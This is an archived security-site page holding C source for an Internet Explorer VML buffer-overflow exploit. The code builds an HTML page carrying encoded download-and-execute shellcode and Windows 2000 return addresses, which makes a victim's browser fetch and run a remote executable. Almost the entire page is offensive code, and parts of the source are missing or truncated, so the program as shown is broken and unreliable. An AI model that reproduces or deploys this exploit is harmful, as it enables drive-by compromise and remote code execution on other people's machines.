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TUCoPS :: Browsers :: b06-4819.htm

vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit



vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit
vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit



/*
*-----------------------------------------------------------------------
*
* vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org 
* :
* Tested : Windows 2000 Server CN
* : + Internet Explorer 6.0 SP1
* :
* Complie : cl vml.c
* :
* Usage : d:\>vml
* :
* : Usage: vml  [htmlfile]
* :
* : d:\>vml http://xsec.org/xxx.exe xxx.htm 
* :
*
*------------------------------------------------------------------------
*/

#include 
#include 
#include 

FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;

#define NOPSIZE 260
#define MAXURL 60

//DWORD ret = 0x7Ffa4512; // call esp for CN
DWORD ret = 0x7800CCDD; // call esp for All win2k

// Search Shellcode
unsigned char dc[] "\x8B\xDC\xBE\x6F\x6F\x6F\x70\x4E\xBF\x6F\x30\x30\x70\x4F\x43\x39"
"\x3B\x75\xFB\x4B\x80\x33\xEE\x39\x73\xFC\x75\xF7\xFF\xD3";

// Shellcode Start
unsigned char dcstart[] "noop";

// Download Exec Shellcode XOR with 0xee
unsigned char sc[] "\x07\x4B\xEE\xEE\xEE\xB1\x8A\x4F\xDE\xEE\xEE\xEE\x65\xAE\xE2\x65"
"\x9E\xF2\x43\x65\x86\xE6\x65\x19\x84\xEA\xB7\x06\xAB\xEE\xEE\xEE"
"\x0C\x17\x86\x81\x80\xEE\xEE\x86\x9B\x9C\x82\x83\xBA\x11\xF8\x7B"
"\x06\xDE\xEE\xEE\xEE\x6D\x02\xCE\x65\x32\x84\xCE\xBD\x11\xB8\xEA"
"\x29\xEA\xED\xB2\x8F\xC0\x8B\x29\xAA\xED\xEA\x96\x8B\xEE\xEE\xDD"
"\x2E\xBE\xBE\xBD\xB9\xBE\x11\xB8\xFE\x65\x32\xBE\xBD\x11\xB8\xE6"
"\x84\xEF\x11\xB8\xE2\xBF\xB8\x65\x9B\xD2\x65\x9A\xC0\x96\xED\x1B"
"\xB8\x65\x98\xCE\xED\x1B\xDD\x27\xA7\xAF\x43\xED\x2B\xDD\x35\xE1"
"\x50\xFE\xD4\x38\x9A\xE6\x2F\x25\xE3\xED\x34\xAE\x05\x1F\xD5\xF1"
"\x9B\x09\xB0\x65\xB0\xCA\xED\x33\x88\x65\xE2\xA5\x65\xB0\xF2\xED"
"\x33\x65\xEA\x65\xED\x2B\x45\xB0\xB7\x2D\x06\xB8\x11\x11\x11\x60"
"\xA0\xE0\x02\x2F\x97\x0B\x56\x76\x10\x64\xE0\x90\x36\x0C\x9D\xD8"
"\xF4\xC1\x9E";

// Shellcode End
unsigned char dcend[] "n00p";

// HTML Header
char * header "\n"
"\n"
"XSec.org\n"
"\n"
"\n"
"\n"
"\n"
"\n"
"\n"
"\n"
"\n"
;

// convert string to NCR
void convert2ncr(unsigned char * buf, int size)
{
int i=0;
unsigned int ncr = 0;

for(i=0; ihttp://www.xsec.org\n"); 
//printf("!!! 0Day !!! Please Keep Private!!!\n");
printf("\r\nUsage: %s  [htmlfile]\r\n\n", argv[0]);
exit(1);
}

url = argv[1];
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 
10 || strlen(url) > MAXURL)
{
printf("[-] Invalid url. Must start with 'http://','ftp://' and < %d 
bytes.\n", MAXURL);
return;
}

printf("[+] download url:%s\n", url);

if(argc >=3) file = argv[2];

printf("[+] exploit file:%s\n", file);

fp = fopen(file, "w+b");
//fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!\n");
return;
}

// print html header
fprintf(fp, "%s", header);
fflush(fp);

for(i=0; i


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